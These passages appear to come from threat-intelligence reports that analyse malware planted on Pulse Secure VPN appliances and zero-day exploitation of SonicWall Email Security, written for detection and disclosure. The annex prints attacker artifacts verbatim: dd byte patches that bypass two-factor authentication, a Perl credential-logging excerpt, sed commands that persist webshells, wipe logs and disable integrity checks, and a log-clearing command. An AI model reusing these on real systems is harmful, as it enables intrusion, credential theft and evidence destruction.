• /tmp/dsserver-check.statementcounters

cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68

• The malicious operations of SLOWPULSE can be detected via log correlation between the authentication servers responsible for LDAP and RADIUS auth and the VPN server. Authentication failures in either LDAP or RADIUS logs with the associated VPN logins showing success would be an anomalous event worthy of flagging.

• Upon invocation of the PULSECHECK webshell, the following HTTP request headers will be sent:
 Key Value REQUEST_METHOD POST HTTP_X_KEY HTTP_X_CNT HTTP_X_CMD

1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd

• SLOWPULSE VARIANT 2 writes ACE logon credentials to the file /home/perl/PAUS.pm in a+ (append) mode, using the format string %s:%s\n.

68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2

• PACEMAKER is saved at filepath /home/bin/memread
• Executed with commandline flags –t, -m, -s
• Attaches to victim processes with PTRACE and opens subfiles in /proc/

• THINBLOOD creates the files:
• /home/runtime/logs/log.events.vc1
• /home/runtime/logs/log.events.vc2
• /home/runtime/logs/log.access.vc1
• /home/runtime/logs/log.access.vc2
• Executes the system API with the mv command specifying one of the files above, targeting:
• /home/runtime/logs/log.access.vc0
• /home/runtime/logs/log.events.vc0
• Executes the rm command specify one of the .vc1 files above

133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a

• SLIGHTPULSE uses /tmp/1 as command execution log
• All POST requests to meeting_testjs.cgi are suspicious
• POST parameters: cert, img, name are used by malicious logic
• Responses to the endpoint with the name parameter respond with no-cache and image/gif

1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9

• THINBLOOD execution of sed on the files:
• log.events.vc0
• log.access.vc0
• Sed patterns used:
• s/.\x00[^\x00]*<regex_string>[^\x00]*\x09.\x00//g
• s/\x<hex_char>\x00[^\x00]*<regex_string>[^\x00]*\x09\x<hex_char>\x00//g

06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7

• The sample accepts an input and output file as its first and second arguments, then writes a patched version of the input out. The commandline argument e or E must be supplied as the fourth argument. Example command line:
• ./patcher input.bin output.bin backdoorkey e

f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90

• The sample uses the HTTP query parameter id and responds with HTTP headers "Cache-Control: no-cache\n" and "Content-type: text/html\n\n".

224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450

64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7

• Execute sed on PulseSecure system files
• Remounts filesystem as writable: system("/bin/mount -o remount,rw /dev/root /")
• Unexpected execution of other system commands such as tar, cp, rm

#### MITRE ATT&CK Techniques

The following list of MITRE ATT&CK techniques cover all malware samples described in this report as well as those observed throughout the lifecycle of UNC2630 and UNC2717.

• T1003-OS Credential Dumping
• T1016-System Network Configuration Discovery
• T1021.001-Remote Desktop Protocol
• T1027-Obfuscated Files or Information
• T1036.005-Match Legitimate Name or Location
• T1048-Exfiltration Over Alternative Protocol
• T1049-System Network Connections Discovery
• T1057-Process Discovery
• T1059-Command and Scripting Interpreter
• T1059.003-Windows Command Shell
• T1070-Indicator Removal on Host
• T1070.001-Clear Windows Event Logs
• T1070.004-File Deletion
• T1071.001-Web Protocols
• T1082-System Information Discovery
• T1098-Account Manipulation
• T1105-Ingress Tool Transfer
• T1111-Two-Factor Authentication Interception
• T1133-External Remote Services
• T1136-Create Account
• T1140-Deobfuscate/Decode Files or Information
• T1190-Exploit Public-Facing Application
• T1505.003-Web Shell
• T1518-Software Discovery
• T1554-Compromise Client Software Binary
• T1556.004-Network Device Authentication
• T1592.004 Gather Victim Host Information: Client Configurations
• T1562 Impair Defenses
• T1569.002-Service Execution
• T1574 Hijack Execution Flow
• T1600-Weaken Encryption

Figure 6: MITRE ATT&CK Map

#### Technical Annex

##### SLIGHTPULSE

The file meeting_testjs.cgi (SHA256: 133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a) is a webshell capable of arbitrary file read, write, and command execution. Malicious logic is inserted at the end of legitimate logic to respond to POST requests. We believe this webshell may be responsible for placing additional webshells and used to modify legitimate system components resulting in the other observed malware families due to its functionality.

The malicious logic inserts a branch condition to respond to HTTP POST requests rather than just the typical GET requests expected of the legitimate code. If GET requests are performed the legitimate logic is still invoked. POST requests have a series of parameters checked for existence to determine which command to invoke. This logic is:

 POST params Invoked Command cert writefile img, name with nonempty value readfile img set to empty string "", name execcmd anything else invoke original legitimate logic

Figure 7: Webshells respond to POSTs

All incoming and outgoing requests are base64 encoded/decoded and RC4 encrypted/decrypted. The scheme is simple. The first six characters of the data are a random key generated per request as a sort of nonce, with the static RC4 key appended. This nonce + phrase together act as the RC4 key. The phrase is not sent over the wire, only the nonce. This entire key is then used to encrypt/decrypt payload data that immediately follows the key. The form of data on the wire is:

Outbound/Inbound:

<6randbytes><encrypted_data>
^-RC4NONCE-^

Usage:

<6randbytes><rc4_phrase><encrypted_data>
^-------RC4 KEY--------^

This command accepts a base64 encoded, RC4 encrypted file name via the img parameter and opens it for read. The file contents are read in full then sent back to the attacker as base64 encoded, RC4 encrypted data with the headers "Content-type: application/x-download\n", and form header "Content-Disposition: attachment; filename=tmp\n\n".

WriteFile

This command accepts a base64 encoded, RC4 encrypted filename via the cert parameter, and base64 encoded, RC4 encrypted file data via the parameter md5. The filename is opened in write mode with the file data being written to the file before the file is closed. The results of this command are sent back to the attacker, using the headers "Cache-Control: no-cache\n" and "Content-type: text/html\n\n".

Execute

This command accepts a base64 encoded, RC4 encrypted commands via the name parameter. The malicious logic forbids the cd command and will respond with the text Error 404 if executed. All other commands will be executed via the system API with output piped to the file /tmp/1. The full system command is <command> >/tmp/1 2>&1. The output of this execution is read and sent back to the attacker base64 encoded, RC4 encrypted. The headers "Cache-Control: no-cache\n" and "Content-type: image/gif\n\n" are used. The response appears to be masquerading as a GIF when sending back this command output.

The file with the SHA256 hash d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b is a modified Perl script associated with a PulseSecure web-based tool which causes usernames, passwords and information associated with logins to this application to be written to the file /tmp/dsstartssh.statementcounters.

Retrieval of these login credentials must be achieved through other means such as an interactive login or a webshell. Persistence is achieved by the addition of compromised code which is continually served when requesting this PulseSecure webpage.

An excerpt of the code related to credential stealing is shown as follows:

my $realmName1 =$signin->getRealmInfo()->{name};

open(*fd, ">>/tmp/dsstartssh.statementcounters");

syswrite(*fd, "realm=$realmName1 ", 5000); syswrite(*fd, "username=$username ", 5000);

syswrite(*fd, "password=$password\n", 5000); close(*fd); ##### SLOWPULSE Variant 1 The file libdsplibs.so with SHA256 cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68 is a trojanized ELF shared object belonging to the PulseSecure VPN server. The sample has been modified to bypass specific authentication mechanisms of the LDAP and RADIUS protocols. The sample hardcodes a backdoor key that will silently subvert auth failures if the correct backdoor key is passed, establishing a VPN connection as if auth succeeded. If the backdoor password is not used, authentication will fail as normal. In multiple locations assembly is written into the padding regions between legitimate functions. As these regions are very small, around 20 bytes, the malicious logic stitches itself together by unconditionally jumping between multiple padding regions. The assembly is written in a way very similar to mid-function hooks, where it is common to push and then pop all flags and registers before and after the injected logic. By preserving registers and flags in this way the malicious logic is able to execute and perform its malicious logic as a passive observer if desired, only effecting the control flow in specific conditions. This is employed in two locations, the LDAP and RADIUS authentication routines, DSAuth::LDAPAuthServer::authenticate and DSAuth::RadiusAuthServer::checkUsernamePassword respectively. LDAP Auth Bypass In the typical execution of DSAuth::LDAPAuthServer::authenticate the legitimate application constructs the C++ object DSAuth::LDAPAuthServer::ldap then passes it to DSLdapServer::bind with the username and password for login. This bind may fail or succeed which determines the authentication failure or success of the LDAP protocol. The malicious logic inserted into the application redirects execution before DSLdapServer::bind just after the ldap object is constructed. At this point in execution the username and password are easily extracted from memory with mid-function hooking techniques, which the sample copies to a code cave in memory between two functions as a temporary storage location. The malicious logic then invokes DSLdapServer::bind as the normal logic would, which sets the return register EAX to 0 or 1 for failure or success. A check is then executed where the temporary password copy made earlier is checked against a hardcoded backdoor password. If this check passes the backdoor logic actives by overwriting EAX to 1 to force the application down the execution path of successful authentication, even though in reality authentication failed. ##### RADIUS Two Factor Auth Bypass In the typical execution of DSAuth::RadiusAuthServer::checkUsernamePassword the legitimate application sends a RADIUS-2FA auth packet with username and password via RadiusAuthPacket::sendRadiusPacket. The response is then retrieved and parsed by the routine DSAuth::RadiusAuthServer::handleResponse. After packet retrieval the packet type is verified to be 3, it's not known what this packet type specifies but this is the packet type of a successful authentication response. If the packet type check passes, then the sample reads a field of the packet that specifies if authentication was successful or not and then checks this status later. The inserted malicious logic hijacks execution just after DSAuth::RadiusAuthServer::handleResponse where the password sent to the RADIUS server is checked against a backdoor password. If this check passes the malicious logic overwrites the retrieved packet with values indicating that it's of type 3 and that authentication was successful. The malicious logic then rejoins the original execution flow where the packet type is checked. If written the spoofed values force the application down the execution path of successful authentication, even though in reality authentication failed. ##### SLOWPULSE Variant 2 ACE Two Factor Auth Credential Logging We also identified a variant of SLOWPULSE (SHA256: 1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd) which logs credentials used during ACE-2FA protocol authentication. The backdoor is implemented in the routine DSAuth::AceAuthServer::checkUsernamePassword. As part of the login procedure the username and password are retrieved then written into a map entry structure. The backdoor inserts an unconditional jump into the logon logic that takes this map entry structure, reads the username and password fields, then writes them to the file /home/perl/PAUS.pm in a+ (append) mode, using the format string %s:%s\n. The backdoor then unconditionally jumps back into the normal control flow to continue the logon process as normal. ##### SLOWPULSE Variant 3 ACE Two Factor Auth Bypass We Identified another variant of SLOWPULSE (SHA256: b1c2368773259fbfef425e0bb716be958faa7e74b3282138059f511011d3afd9) which is similar to SLOWPULSE VARIANT 2 the malicious logic lives within DSAuth::AceAuthServer::checkUsernamePassword, however this variant bypasses the logon procedure rather than login credentials. Typical execution of this routine calls DsSecID_checkLogin to validate the username and password which sets the EAX register to 1. The routine DSAuth::AceAuthServer::handleACEAuthResult then checks EAX to determine if auth was successful or not. The malicious logic hijacks execution immediately after the username and password fields are written to their map entries, then checks if the password matches the backdoor password. If the password matches, then the EAX register is overwritten to 1. This puts the program in the same state as if DsSecID_checkLogin had successfully executed, but unlike SLOWPULSE VARIANT 1 the original authentication routine is not called at all. The malicious logic then rejoins execution before DSAuth::AceAuthServer::handleACEAuthResult which will now pass. This forces the application down the execution path of successful authentication, even though in reality authentication would have failed. ##### SLOWPULSE Variant 4 RealmSignin Two Factor Auth Bypass We identified a fourth variant of SLOWPULSE responsible for bypassing what may be the two-factor authentication step of the DSAuth::RealmSignin process. The backdoor is present within the function DSAuth::RealmSignin::runSigninStep.This routine is responsible for multiple steps of the login procedure and is implemented as a large switch statement. Case 11 of the switch statement typically calls the routines DSMap::setPrivacyKeyNames then DSAuth::RealmSignin::runSecondaryAuth. The malicious logic in this variant overwrites the call to DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1. This forces application flow as if DSAuth::RealmSignin::runSecondaryAuth always succeeds, without ever calling it. We were not able to recover a file with these patches applied as the attacker removed their patches after use. However, we did uncover both the patcher and unpatcher utilities. We do not provide a hash for this file as we have not recovered it from a system in the field. This analysis was performed by replaying the changes performed by the patcher we did recover. ##### SLOWPULSE Variant 2 Patcher As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: c9b323b9747659eac25cec078895d75f016e26a8b5858567c7fb945b7321722c is responsible for inserting SLOWPULSE V2 malicious logic to log ACE credentials. The patcher accepts two command line arguments, the path to the original binary and the patched output file path. The original binary is read into memory, patched, and then written to the output path. The assembly patches and offsets into the original binary are hardcoded. ##### SLOWPULSE Variant 3 Patcher As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: 06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7 is responsible for inserting SLOWPULSE V3 malicious logic to bypass ACE logon authentication process. The patcher accepts four arguments. The first argument is the original binary path, the second the patched output file path, third is the backdoor bypass password, and fourth is the letter e specifying to apply patches. The sample reads the original binary into memory, applies the assembly patches associated with SLOWPULSE V3, as well as the provided bypass password, then written to the output path. The assembly patches, and all offsets including where to copy the bypass password are hardcoded. ##### SLOWPULSE Variant 4 Patcher As part of our investigation into the SLOWPULSE family we recovered the utility the attacker used to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: e63ab6f82c711e4ecc8f5b36046eb7ea216f41eb90158165b82a6c90560ea415 responsible for inserting the patch for SLOWPULSE V3. The patch applied overwrites a single call to DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1. This patcher utility is a simple bash script, unlike the previous patchers which were compiled applications likely written in C. The script in full is: printf '\xB8' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31))
printf '\x01' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32)) printf '\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33))
printf '\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34)) printf '\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35))

##### SLOWPULSE Variant 4 UnPatcher

As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to remove the malicious logic into the original libdsplibs.so file for SLOWPULSE V4. The attacker chose to remove the patches applied to libdsplibs.so. The file with SHA256: b2350954b9484ae4eac42b95fae6edf7a126169d0b93d79f49d36c5e6497062a is the unpatcher utility for SLOWPULSE V4. This sample is also a simple bash script, in full it is:

printf '\xE8' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31)) printf '\xE2' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32))
printf '\x08' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33)) printf '\xD0' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34))

It checks if the file has the contents system($depara). If the file does not contain this content, then retrieve the first line of the file by executing: • sed -n 1p /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi Then copy a file via: • cp /home/webserver/htdocs/dana-na/auth/compcheckjava.cgi /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi Then replace the copy’s first line with the one retrieved from the sed above via: • sed -i 1c"<varies>" /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi Check 2 If /tmp/data/root/home/bin/ exists as a directory, then check if the file /tmp/data/root/home/bin/dshelper does not exist. If it does not exist, then place it there by copying a file via: • cp -p /home/bin/dshelper /tmp/data/root/home/bin/ Check 3 If /tmp/data/root/home/bin/dsserver exists and is non-empty then execute the following to check if the file does not contain the string exec("/home/bin/dshelper"): • grep -c -s 'exec("/home/bin/dshelper")' /tmp/data/root/home/bin/dsserver If it doesn't then execute to insert the line: • sed -i 's/for (;;)/my$monpid = fork();\nif ($monpid == 0) {\nexec(\"\/home\/bin\/dshelper\");\n}\n&/g' /tmp/data/root/home/bin/dsserver Check 4 If the file /tmp/data/root/home/bin/check_integrity.sh exists and is non-empty, then check if the file contains the string exit 1 by executing: • grep -c -s 'exit 1' /tmp/data/root/home/bin/check_integrity.sh If the file does contain this content, then execute the following to switch the content to exit 0: • sed -i 's/exit 1/exit 0/g' /tmp/data/root/home/bin/check_integrity.sh ##### PULSEJUMP The file with SHA256: 7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a is a system information and credential harvesting Perl script. The sample writes information from multiple sources to the file /tmp/dsactiveuser.statementcounters in append mode. The sample begins by retrieving all auth servers via the API AuthAdmin::getAllAuthServers. and logs the results. Next, the sample logs all roles via the API DSRole::GeneralAdmin::getRoles and writes the values to the file. The sample may also retrieve and log additional information depending on the device configuration. ##### HARDPULSE The file compcheckjava.cgi (SHA256: 1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc) has the ability to read and write arbitrary files and may execute arbitrary commands depending on the implementation of a particular library function. The sample responds to HTTP GETs and PUTs. The GET path is not relevant, but the PUT path first checks if the incoming requests checkcode POST param is equal to a hardcoded passcode. If this check passes the sample inspects the param hashid to determine if it's non-empty. If non-empty the sample displays a prompt to the user that includes hardware information and then base64 decodes the param hashid and checks it against pulsesecure. If this matches a recoveryToken is generated which is the MD5 hash of 16 random bytes, with the result hash truncated to 8 characters. This token is then displayed to the user via the URL https://ive-host/dana-na/auth/recover[.]cgi?token=<varies> and the sample exits. If this check did not match then the sample passes the base64 decoded data to a routine DSSafe::psystem which may execute shell commands, however this implementation is not provided and is speculation. If the param hashid is empty the sample instead checks that the param m is non-empty. If so, it's matched against get and put which will read/write arbitrary files to the host, respectively. ##### ATRIUM The file compcheckresult.cgi (SHA256: f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90) is a webshell capable of arbitrary command execution. The sample has malicious logic inserted at the end of legitimate logic. The malicious logic inspects all requests of any type looking for the HTTP query parameter id. If this query parameter exists, the sample executes it verbatim on using the system API. The sample does not encode or obfuscate the command in any way. If the query parameter is not found in the request, then the original legitimate logic is invoked. ##### Persistence Patcher The file DSUpgrade.pm (SHA256: 224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450) is a patcher utility script responsible for persisting webshells across a system upgrade. We’ve observed variants of this utility targeting the persistence of multiple webshell families, notably ATRIUM, STEADYPULSE, and PULSECHECK. Like previous patchers, this sample uses sed to insert malicious logic. The attacker likely chose DSUpgade.pm to host their patch logic as it is a core file in the system upgrade procedure, ensuring the patch is during updates. The patcher modifies content in /tmp/data as this directory holds the extracted upgrade image the newly upgraded system will boot into. This results in a persistence mechanism which allows the attacker to maintain access to the system across updates. my$cmd_x="sed -i '/echo_console \"Saving package\"/i(
sed -i \\\'/main();\\\$/cif(CGI::param(\\\\\"id\\\\\")){ print \\\\\"Cache-Control: no-cache\\\\\\\\n\\\\\"; print \\\\\"Content-type: text/html\\\\\\\\n\\\\\\\\n\\\\\"; my \\\\\$na=CGI::param(\\\\\"id\\\\\");
system(\\\\\"\\\\\$na\\\"); } else{ &main(); }\\\' /tmp/data/root$cgi_p;
cp -f /pkg/dspkginstall /tmp/data/root/pkg/;
)'/pkg/do-install";

The patcher also performs additional shell commands for unpacking a compressed package:

system("/bin/mount -o remount,rw /dev/root /");
system("/bin/tar", "-xzf", "/tmp/new-pack.tgz", "-C", "/tmp","./installer");
system("cp -f /tmp/installer/do-install /pkg/");
system("cp -f /tmp/installer/VERSION /pkg/");
system("cp -f /tmp/installer/sysboot-shlib /pkg/");
system("cp -f /tmp/installer/losetup /pkg/");

##### PACEMAKER

The file memread (SHA256: 68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2) is a credential stealer. The sample has the usage information:

Usage: memread [-t time(minute)] [-m size(MB)] [-s sleep_interval(second)]

The sample starts by setting an alarm that kills the application after a configurable number of minutes, 14 by default. It then enters a loop which reads /proc/ entries every 2 seconds looking for a target application, this interval is also configurable. The target is found by opening /proc/<process_name>/cmdline for each entry in the folder and then reading this file looking for the string dswsd within the command line. Once found the target application's proc/<target_pid>/mem is opened, the process is attached to with PTRACE, then memory read in chunks up to 512 bytes in size. For each chunk, the string 20 30 20 0A 00 ( 0 \n) is searched for as a needle. If found the sample splits the data by first space, then a dash -. Two dashes are expected to be found, and these are immediately converted into hex numbers, example form: -<number>. If the second number minus the first is > 8191 the sample reads the data starting at the file offset of the first number, up to a size specified by second number minus first number.

Once the sample has read the process memory and found all memory data of interest the sample detaches PTRACE then the sample begins memory scanning the copied data. The sample tries to locate a sequence of 'flags' in memory one by one to locate what seem to be information the attacker wishes to steal. This information is not known, nor is the structure of it. The sequences scanned for generally have start and end scan sequences which in order scanned for, are:

USER_START_FLAG: 3C 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 05 00
USER_END_FLAG: 3C 2F 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 00
PASSWORD_START_FLAG: 3C 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00
PASSWORD_END_FLAG: 3C 2F 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00
AUTHNUM_START_FLAG: 3C 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00
AUTHNUM_END_FLAG: 3C 2F 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00

If all these sequences are found, the data between the start and end is extracted and eventually formatted and written to the file /tmp/dsserver-check.statementcounters. The approximate format of this data is:

The sample replaces the following URL encoded values with their ascii representation for the password:

&amp; ->  &
&lt;  ->  <
&gt;  ->  >

##### PACEMAKER Launcher Utility

As part of our investigation into PACEMAKER we were able to retrieve a simple bash script responsible for launching the credential stealer. The launcher script hash SHA256 4c5555955b2e6dc55f52b0c1a3326f3d07b325b112060329c503b294208960ec launches PACEMAKER from a hardcoded path with options specifying a 16MB memory read size and a memory scan interval of 2 seconds, with a variable self-kill time.

#!/bin/bash

/home/bin/memread -t $1 -m 16 -s 2 & ##### THINBLOOD Log Wiper Utility The file dsclslog with SHA256 88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079 is a log wiper utility. The sample provides the usage information: Usage: dsclslog -f [events|access] -r [Regex1,Regex2,Regex3,...] The –f flag specifies if the file log.events.vc0 or log.access.vc0 within the directory /home/runtime/logs should be modified. To perform its log cleaning operations the sample first makes two copies of whichever log file was chosen, but uses .vc1 and .vc2 as the extension for the new files. The file with the .vc1 is used to search for entries that match the given entries, and the file with the .vc2 extension is used as a temporary file where the cleaned log is written. After generating both files and log cleaning is finished the sample executes the following commands via the system API to overwrite the original log with the cleaned version, then removes the intermediate: mv /home/runtime/logs/log.<logtype>.vc2 /home/runtime/logs/log.<logtype>.vc0 rm /home/runtime/logs/log.<logtype>.vc1 ##### THINBLOOD LogWiper Utility Variant The file clear_log.sh (SHA256: 1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9) is a BASH script responsible for zeroing log lines that match a given regex pattern. The sample is similar to the compiled THINBLOOD Log Wiper but edits logs in-place with sed rather than making temporary copies. The sed commands used are: sed -i "s/.\x00[^\x00]*<regex_string>[^\x00]*\x09.\x00//g" /data/runtime/logs/<logfile> sed -i "s/\x<hex_char>\x00[^\x00]*$2[^\x00]*\x09\x<hex_char>\x00//g" /data/runtime/logs/<logfile>

The sample embeds the usage information:

usage: /home/bin/bash clear_log.sh [logfile] [keyword(regex)]

##### LOCKPICK

The file libcrypto.so (SHA256: 2610d0372e0e107053bc001d278ef71f08562e5610691f18b978123c499a74d8) is a shared object containing cryptographic logic from openssl. The sample contains a modification to the routine bnrand_range that breaks the security of the random numbers generated. There are three paths in this routine for generating a random big number between a given range. The first case is unmodified and generates a zeroed big number, the other two cases are patched so that a constant value overwrites the generated random value and always returns success. This breaks the random number generation by replacing it with a value the attacker knows in all cases.

##### LOCKPICK Patcher

The file with the hash b990f79ce80c24625c97810cb8f161eafdcb10f1b8d9d538df4ca9be387c35e4 is a patcher utility responsible for inserting the malicious logic known as LOCKPICK. The patcher starts by running sed on the integrity checker script built into the appliance to insert an early exit routine. This is inserted by the command sed -i '12aexit 0' /home/bin/check_integrity.sh which when applied causes this script to exit without performing its intended checks. After this the sample uses python file read/write APIs to insert long strings of assembly that represent the logic known as LOCKPICK. This file is different from the other patchers we’ve identified in that it is python and specifically targets system integrity routines.

#### Detecting the Techniques

The following table contains specific FireEye product detection names for the malware families associated with the exploitation of Pulse Secure VPN device.

#### Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

#### Acknowledgements

Mandiant would like to thank the Stroz Friedberg DFIR and Security Testing teams for their collaboration with the analysis and research. The team would also like to thank Joshua Villanueva, Regina Elwell, Jonathan Lepore, Dimiter Andonov, Josh Triplett, Jacob Thompson and Michael Dockry for their hard work in analysis and blog content.

# Zero-Day Exploits in SonicWall Email Security Lead to Enterprise Compromise

20 April 2021 at 21:00

In March 2021, Mandiant Managed Defense identified three zero-day vulnerabilities in SonicWall’s Email Security (ES) product that were being exploited in the wild. These vulnerabilities were executed in conjunction to obtain administrative access and code execution on a SonicWall ES device. The adversary leveraged these vulnerabilities, with intimate knowledge of the SonicWall application, to install a backdoor, access files and emails, and move laterally into the victim organization’s network.

The vulnerabilities are being tracked in the following CVEs:

 CVE-2021-20021 9.8 Unauthorized administrative account creation CVE-2021-20022 7.2 Post-authentication arbitrary file upload CVE-2021-20023 4.9 Post-authentication arbitrary file read

Mandiant has been coordinating with the SonicWall Product Security and Incident Response Team (PSIRT) for the responsible disclosure of this information. SonicWall advises all customers and partners to upgrade to the 10.0.9.6173 Hotfix for Windows users, and the 10.0.9.6177 Hotfix for hardware and ESXi virtual appliance users. SonicWall Hosted Email Security product was automatically updated for all customers and no additional action is required for patching purposes. The hotfixes will also be superseded by the upcoming SonicWall ES 10.0.10 release.

#### Overview

Figure 1: SonicWall Email Security ecosystem overview (via SonicWall)

SonicWall Email Security (ES) is an email security solution that “provides comprehensive inbound and outbound protection, and defends against advanced email-borne threats such as ransomware, zero-day threats, spear phishing and business email compromise (BEC).” The solution can be deployed as a physical appliance, virtual appliance, software installation, or a hosted SaaS solution.

Figure 2: Sample SonicWall Email Security login page

Like many appliances, the solution provides a rich, web-accessible administrative interface that serves as the main avenue for product configuration. Depending on the customer’s deployment method, this software is potentially capable of running under Windows or Unix because it heavily leverages OS-independent Apache Tomcat and Java. While the solution doesn’t require that this interface be exposed to the internet, internet-wide scanning shows approximately 700 publicly reachable interfaces.

#### Investigation

In March 2021, Mandiant Managed Defense identified post-exploitation web shell activity on an internet-accessible system within a customer’s environment. Managed Defense isolated the system and collected evidence to determine how the system was compromised.

The system was quickly identified as a SonicWall Email Security (ES) application running on a standard Windows Server 2012 installation. The adversary-installed web shell was being served through the HTTPS-enabled Apache Tomcat web server bundled with SonicWall ES. Due to the web shell being served in the application’s bundled web server, we immediately suspected the compromise was associated with the SonicWall ES application itself.

When we contacted the customer, we learned that the installation of SonicWall ES was the latest version available for download (10.0.9) and that there was no publicly available information pertaining to vulnerabilities or in-the-wild exploitation. To determine if a potential application-level vulnerability was exploited to install the web shell, Mandiant collected endpoint telemetry data.

We soon identified post-exploitation activity aimed at destroying evidence on the system, executed in the context of the web shell. The adversary executed the following command, shortly after installing the web shell:

 cmd.exe /c "echo "" > "C:/Program Files (x86)/SonicWallES/logs/webUI/webui.json

Figure 3: The Adversary clearing existing entries in the current “webui.json” log

This command deleted the most recent application-level log entries recorded by the SonicWall ES web application. While clearing log files is a standard anti-forensics technique, understanding the location of internal log files generated by applications is usually overlooked by most spray-and-pray attackers. This added fuel to our suspicion that we were dealing with an adversary who had intimate knowledge of how the SonicWall ES application worked.

Fortunately for us, additional log files and a previously created virtual server snapshot provided enough evidence to track down the vulnerabilities and the adversary’s activities on the host.

#### Vulnerabilities

##### CVE-2021-20021

Unauthenticated administrative access through improperly secured API endpoint

The SonicWall Email Security application contains an authenticated control panel to provide administration capabilities. One feature available allows application administrators to authorize an additional administrator account from a separate Microsoft Active Directory Organization Unit (AD OU).

 https:///createou?data=

Figure 4: A redacted example of the vulnerable endpoint associated with arbitrary user creation

Requests to this form, however, were not verified to require previous authentication to the appliance.

Due to this vulnerability, an adversary with a well-crafted XML document could either GET or POST their document to the application and create a “role.ouadmin” account (Figure 4). This account could then be used to authenticate to the application as an administrator.

##### CVE-2021-20022

Arbitrary file upload through post-authenticated “branding” feature

Like many enterprise products with a web-based user interface, SonicWall Email Security includes a feature known as "branding" which gives administrators the ability to customize and add certain assets to the interface, such as company logos. These branding assets are managed via packages, and new packages can be created by uploading ZIP archives containing custom text, image files, and layout settings. A lack of file validation can enable an adversary to upload arbitrary files, including executable code, such as web shells.

Once uploaded, these branding package ZIP archives are normally expanded and saved to the <SonicWall ES install path>\data\branding directory. However, an adversary could place malicious files in arbitrary locations, such as a web accessible Apache Tomcat directory, by crafting a ZIP archive containing a file within a sequence of directory traversal notations such as in Figure 5.

Figure 5: Example ZIP archive containing a Zip Slip web shell

It is important to note that the lack of validation which enables Zip Slip attacks is not unique to SonicWall Email Security. As detailed in Snyk's research on the topic, they exist within the many code libraries from which applications have been built.

##### CVE-2021-20023

Mandiant confirmed another post-authentication vulnerability in the administrative panel’s built-in "branding" feature which allowed an adversary to retrieve arbitrary files from the host by sending crafted HTTP GET requests to a particular resource. Figure 6 demonstrates the formatting of such request.

While the working directory of this branding feature is <SonicWall ES install path>\data\updates, a directory-traversal vulnerability allows an adversary to access files located outside of this directory. As the Apache Tomcat webserver handling this request is operating as the NT AUTHORITY\SYSTEM account, any file on the operating system can be accessed.

Combinations of all three exploits were leveraged interchangeably by the adversary to perform the following actions:

1. Creation of a new Administrator account on the SonicWall ES device
2. Exposure of the hashed passwords for existing, locally configured Administrative accounts
3. The creation of a web shell in an arbitrary directory
4. Real-time debugging of exploitation success and failure

#### Post-Exploitation

Upon obtaining administrative access to the appliance through CVE-2021-20021, an adversary sent crafted HTTP requests to the resource /dload_apps, a component of the application's "branding" feature, exploiting CVE-2021-20023. These requests leveraged directory traversal attacks, enabling access to two sensitive XML configuration files located at <SonicWall ES install path>\data\multi_accounts.xml and <SonicWall ES install path>\data\multi_ldap.xml, respectively (Figure 7).

Figure 7: HTTP GET requests exploiting CVE-2021-20023

These files contained details about existing accounts as well as Active Directory credentials used by the application.

